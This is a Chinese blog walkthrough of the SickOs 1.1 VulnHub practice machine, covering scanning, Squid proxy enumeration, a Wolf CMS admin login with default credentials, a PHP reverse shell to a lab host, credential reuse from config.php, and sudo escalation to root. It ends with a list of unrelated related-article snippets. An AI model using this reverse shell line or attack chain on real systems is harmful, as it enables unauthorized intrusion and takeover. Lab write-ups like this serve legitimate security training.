Sickos1.1 详细靶机思路 实操笔记

news2024/11/24 6:19:36

Sickos1.1 详细靶机思路 实操笔记

免责声明

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。

靶机链接SickOs: 1.1 ~ VulnHub下来后导入到vmware里面

右键vm靶机栏 打开靶机的.ovf文件

在这里插入图片描述

Nmap信息收集

主机发现:

sudo nmap -sn 192.168.236.128/24

开启靶机后能找到133这台机器,就是我们要打的靶机

TCP扫描

sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133

在这里插入图片描述

拿到了这三个端口22,3128,8080 对应的端口分别为ssh squid-http http-proxy

详细端口扫描

nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133

在这里插入图片描述

给出了更详细的信息,如服务版本号,主机型号等

nmap默认漏洞脚本扫描

nmap --script=vuln -oA sickos_script p22,8080,3128 192.168.236.133

在这里插入图片描述

没有什么发现,nmap没有给出利用路径

web渗透

攻击面分析

我们知道了3128开放的是一个squid代理服务,版本为3.1.19,如下直接访问没有给什么东西

在这里插入图片描述

8080端口关闭,是一个http-proxy 可能是什么代理之类的服务,直接去访问是拒绝连接

22端口ssh远程连接我们可以尝试去空密码连接,但可能性不大,如果在我们去寻找凭据实在走不下去了可以去尝试一下

squid代理

先去搜索一下squid服务

Squid代理服务器
Squid主要提供缓存加速、应用层过滤控制、web服务隐藏真实IP(安全性)的功能。
1、代理的工作机制
代替客户机向网站请求数据,从而可以隐藏用户的真实IP地址。
将获得的网页数据(静态 Web 元素)保存到缓存中并发送给客户机,以便下次请求相同的数据时快速响应。
2、代理的类型
传统代理:

适用于Internet,需在客户机指定代理服务器的地址和端口。
透明代理:

客户机不需指定代理服务器的地址和端口,而是通过默认路由、防火墙策略将Web访问重定向给代理服务器处理。
反向代理:

如果 Squid 反向代理服务器中缓存了该请求的资源,则将该请求的资源直接返回给客户端;否则反向代理服务器将向后台的 WEB 服务器请求资源,然后将请求的应答返回给客户端,同时也将该应答缓存(静态)在本地,供下一个请求者使用。

靶机的squid跑在3128端口上,应该指定的代理服务器端口就为3128,在浏览器上设置一下proxy

在这里插入图片描述

设置好后发现直接访问靶机ip可以通,给了一个BLEHHH!!! 这是一个俚语

在这里插入图片描述

既然可以通那就爆破一下目录吧

指定一下代理

dirb http://192.168.236.133/ -p http://192.168.236.133:3128/

在这里插入图片描述

+ http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291)                                                                                                     
+ http://192.168.236.133/connect (CODE:200|SIZE:109)                                                                                                      
+ http://192.168.236.133/index (CODE:200|SIZE:21)                                                                                                         
+ http://192.168.236.133/index.php (CODE:200|SIZE:21)                                                                                                     
+ http://192.168.236.133/robots (CODE:200|SIZE:45)                                                                                                        
+ http://192.168.236.133/robots.txt (CODE:200|SIZE:45)                                                                                            
+ http://192.168.236.133/server-status (CODE:403|SIZE:296)  

先访问最感兴趣的index.php

其实就是之前的BLEHHHH!!

其他的目录扫了一眼,/connect里面是一个脚本,没什么用大概就是说 你可能想要尝试(利用)我的服务

/server-status 403forbidden无法访问

#!/usr/bin/python

print("I Try to connect things very frequently")
print("You may want to try my services")

robots.txt :

在这里插入图片描述

给了一个Dissalow:/wolfcms,尝试一下访问这个路由,尝试访问发现真的有

在这里插入图片描述

点了一圈没有什么发现,网页都是一些静态资源,去网上搜索一下wolfcms有没有什么框架漏洞

Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit

这里发现一个长得很像登陆界面的url

在这里插入图片描述

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

确实跳转到了一个登录页

在这里插入图片描述

弱密码U/P:admin admin进入wolfcms的后台

在这里插入图片描述

反向连接shell

在登录wolfcms后台之后随便点点,发现有很多代码执行和文件上传的位置,比如Home Page里面就可以填写php代码

在Articles中嵌入

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");?>

来分析一下这个反向连接shell

exec() php的内置函数,用于执行外部程序 基础语法:exec(command,output,return_var) (命令,存储命令的输出,返回状态码)

/bin/bash Linux系统中的Bash shell的路径 /bin/bash是Bash shell的可执行文件

-c这是Bash的一个选项,表示后面跟着的字符串会被当作一个命令来执行

'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'这个字符串是传递给Bash的命令。我们再进一步解析:

bash -i

bash:启动一个新的Bash shell。-i:表示以交互模式运行Bash shell。

>&:这是一个重定向操作符,用于将标准输出(stdout)和标准错误(stderr)合并并重定向到指定的目标。

/dev/tcp/192.168.236.128/443:这是一个特殊的文件描述符,表示通过TCP协议连接到IP地址为 192.168.236.128 的主机,端口为 443

0>&1

0:表示标准输入(stdin)。

>&1:表示将标准输入(stdin)重定向到标准输出(stdout)的文件描述符。

在这里插入图片描述

嵌入,保存后在kali上开启监听

sudo nc -lvnp 443

在这里插入图片描述

再去访问Artical 反弹shell成功

在这里插入图片描述

提权

信息收集

先看一下得到的权限能干什么,有什么权限,在这个权限下能看到的文件等信息,这里我建议最好把整个shell的所有能访问到的东西都先浏览一遍,把他的文件结构都搞清楚,要知道他有没有什么可以访问的配置文件config等,/etc/passwd这种重要的目录也要去尝试一下有没有权限打开,里面是否有我们感兴趣的内容

whoami

可以看到现在的用户是www-data

在这里插入图片描述

尝试访问/etc/passwd 发现root和sickos这两个账户是拥有bash环境的,而我们所在的www-data是没有的,所以如果我们找到凭据应该优先尝试这两个账户。

在这里插入图片描述

ls -alh

能看到有一个config.php配置文件 ,得到了一个凭据john@123 这里还给了一个mysql的用户名,但是这个机器没开3389,没有实际意义 ,得到的这个凭据,可以结合上面得到的两个账号,尝试一下ssh连接,如果可以就成功提权了

<?php 

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);

// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);

// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);

// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');

// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);

// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);

// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');

// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);

// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');

// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');

// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);

// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);

// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800);  // 30 minutes

// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);

// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);

// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds

// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);

// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link) 
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900);  // 15 minutes

看到别人的博客,还找到了这个路径下的配置文件

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php

里面有一个密码在这里插入图片描述
但实际好像并没有什么用处

ssh

尝试sickos root john@123 pawpsw123这一组凭据

这一组可以连接

ssh sickos@192.168.236.133

john@123

sudo -l查看一下拿到的shell的权限

在这里插入图片描述

有sudo权限,可以运行任何命令(ALL:ALL) 也就是可以用sudo命令提升到root权限

那就直接切换root用户

sudo /bin/bash

成功提权,root目录下有flag

在这里插入图片描述

成功通关sickos

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2246493.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【大数据学习 | Spark-Core】Spark提交及运行流程

spark的集群运行结构 我们要选择第一种使用方式 命令组成结构 spark-submit [选项] jar包 参数 standalone集群能够使用的选项。 --master MASTER_URL #集群地址 --class class_name #jar包中的类 --executor-memory MEM #executor的内存 --executor-cores NUM # executor的…

【CSP CCF记录】201903-2第16次认证 二十四点

题目 样例1输入 10 934x3 54x5x5 7-9-98 5x6/5x4 3579 1x19-9 1x9-5/9 8/56x9 6x7-3x6 6x44/5 样例1输出 Yes No No Yes Yes No No No Yes Yes 样例1解释 思路 参考&#xff1a;CCF小白刷题之路---201903-2 二十四点&#xff08;C/C 100分&#xff09;_ccf认证小白-CSDN博客 …

多目标粒子群优化(Multi-Objective Particle Swarm Optimization, MOPSO)算法

概述 多目标粒子群优化&#xff08;MOPSO&#xff09; 是粒子群优化&#xff08;PSO&#xff09;的一种扩展&#xff0c;用于解决具有多个目标函数的优化问题。MOPSO的目标是找到一组非支配解&#xff08;Pareto最优解&#xff09;&#xff0c;这些解在不同目标之间达到平衡。…

tomcat 后台部署 war 包 getshell

1. tomcat 后台部署 war 包 getshell 首先进入该漏洞的文件目录 使用docker启动靶场环境 查看端口的开放情况 访问靶场&#xff1a;192.168.187.135:8080 访问靶机地址 http://192.168.187.135:8080/manager/html Tomcat 默认页面登录管理就在 manager/html 下&#xff0c…

4.6 JMeter HTTP信息头管理器

欢迎大家订阅【软件测试】 专栏&#xff0c;开启你的软件测试学习之旅&#xff01; 文章目录 前言1 HTTP信息头管理器的位置2 常见的HTTP请求头3 添加 HTTP 信息头管理器4 应用场景 前言 在 JMeter 中&#xff0c;HTTP信息头管理器&#xff08;HTTP Header Manager&#xff09…

NVR管理平台EasyNVR多品牌NVR管理工具的流媒体视频融合与汇聚管理方案

随着信息技术的飞速发展&#xff0c;视频监控已经成为现代社会安全管理和业务运营不可或缺的一部分。无论是智慧城市、智能交通、还是大型企业、校园安防&#xff0c;视频监控系统的应用都日益广泛。NVR管理平台EasyNVR&#xff0c;作为功能强大的流媒体服务器软件&#xff0c;…

【大数据学习 | Spark-Core】Spark的改变分区的算子

当分区由多变少时&#xff0c;不需要shuffle&#xff0c;也就是父RDD与子RDD之间是窄依赖。 当分区由少变多时&#xff0c;是需要shuffle的。 但极端情况下&#xff08;1000个分区变成1个分区)&#xff0c;这时如果将shuffle设置为false&#xff0c;父子RDD是窄依赖关系&…

微代码-C语言如何分配内存并自动清零?(calloc)

背景 在C语言中&#xff0c;calloc 函数用于分配内存&#xff0c;并且会自动将所有位初始化为零。calloc 的原型定义在 stdlib.h 头文件中&#xff0c;其函数原型如下&#xff1a; void *calloc(size_t num, size_t size);使用例子&#xff1a; #include <stdio.h> #i…

自动语音识别(ASR)与文本转语音(TTS)技术的应用与发展

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

ARM 架构(Advanced RISC Machine)精简指令集计算机(Reduced Instruction Set Computer)

文章目录 1、ARM 架构ARM 架构的特点ARM 架构的应用ARM 架构的未来发展 2、RISCRISC 的基本概念RISC 的优势RISC 的应用RISC 与 CISC 的对比总结 1、ARM 架构 ARM 架构是一种低功耗、高性能的处理器架构&#xff0c;广泛应用于移动设备、嵌入式系统以及越来越多的服务器和桌面…

戴尔 AI Factory 上的 Agentic RAG 搭载 NVIDIA 和 Elasticsearch 向量数据库

作者&#xff1a;来自 Elastic Hemant Malik, Dell Team 我们很高兴与戴尔合作撰写白皮书《戴尔 AI Factory with NVIDIA 上的 Agentic RAG》。白皮书是一份供开发人员参考的设计文档&#xff0c;概述了实施 Agentic 检索增强生成 (retrieval augmented generation - RAG) 应用…

Vue实训---0-完成Vue开发环境的搭建

1.在官网下载和安装VS Code编辑器 完成中文语言扩展&#xff08;chinese&#xff09;&#xff0c;安装成功后&#xff0c;需要重新启动VS Code编辑器&#xff0c;中文语言扩展才可以生效。 安装Vue-Official扩展&#xff0c;步骤与安装中文语言扩展相同&#xff08;专门用于为“…

POA-CNN-SVM鹈鹕算法优化卷积神经网络结合支持向量机多特征分类预测

分类预测 | Matlab实现POA-CNN-SVM鹈鹕算法优化卷积神经网络结合支持向量机多特征分类预测 目录 分类预测 | Matlab实现POA-CNN-SVM鹈鹕算法优化卷积神经网络结合支持向量机多特征分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现POA-CNN-SVM鹈鹕算法…

(STM32)ADC驱动配置

1.ADC驱动&#xff08;STM32&#xff09; ADC模块中&#xff0c;**常规模式&#xff08;Regular Mode&#xff09;和注入模式&#xff08;Injected Mode&#xff09;**是两种不同的ADC工作模式 常规模式&#xff1a;用于普通的ADC转换&#xff0c;是默认的ADC工作模式。 注入…

flume-将日志采集到hdfs

看到hdfs大家应该做什么&#xff1f; 是的你应该去把集群打开&#xff0c; cd /export/servers/hadoop/sbin 启动集群 ./start-all.sh 在虚拟机hadoop02和hadoop03上的conf目录下配置相同的日志采集方案&#xff0c;‘ cd /export/servers/flume/conf 切换完成之后&#…

机器人SLAM建图与自主导航:从基础到实践

前言 这篇文章我开始和大家一起探讨机器人SLAM建图与自主导航 &#xff0c;在前面的内容中&#xff0c;我们介绍了差速轮式机器人的概念及应用&#xff0c;谈到了使用Gazebo平台搭建仿真环境的教程&#xff0c;主要是利用gmapping slam算法&#xff0c;生成一张二维的仿真环境…

在线解析工具链接

在线字数统计工具-统计字符字节汉字数字标点符号-计算word文章字数字数统计,字符统计,字节统计,字数计算,统计字数,统计字节数,统计字符数,统计word字数,在线字数统计,在线查字数,计算字数,字数统计工具,支持手机移动端查询多少字数,英文:Calculate the number of words,Count …

学习Servlet(含义,作用)

目录 前言 Servlet 的含义 Servlet 的作用 前言 一个完整的前后端项目&#xff0c;是需要前端和后端&#xff08;Java实现&#xff09;共同完成的。那应该如何实现前后端进行交互呢&#xff1f;答案&#xff1a;使用Servlet实现前后端交互 我会从了解Servlet的含义&…

从源码到应用:在线教育系统与教培网校APP开发实战指南

时下&#xff0c;各类教培网校APP逐渐成为教育机构的核心工具。那么&#xff0c;如何从源码出发&#xff0c;开发一套符合需求的在线教育系统与教培网校APP&#xff1f;本文将从架构设计、功能实现到部署上线&#xff0c;提供一份全面的开发实战指南。 一、在线教育系统的核心架…

Pyqt5的簡單教程

簡介 pyqt5是qt的Python版本&#xff0c;因為最近需要做一個有界面的程式&#xff0c;所以想到這個庫&#xff0c;這裡就稍微介紹它的安裝和使用教程 1.安裝qt5 可能需要安裝vs的c編譯組件 pip install pyQt52.使用拖拽組件編寫頁面 使用此工具打開組件 ctrls 生成.ui文件 …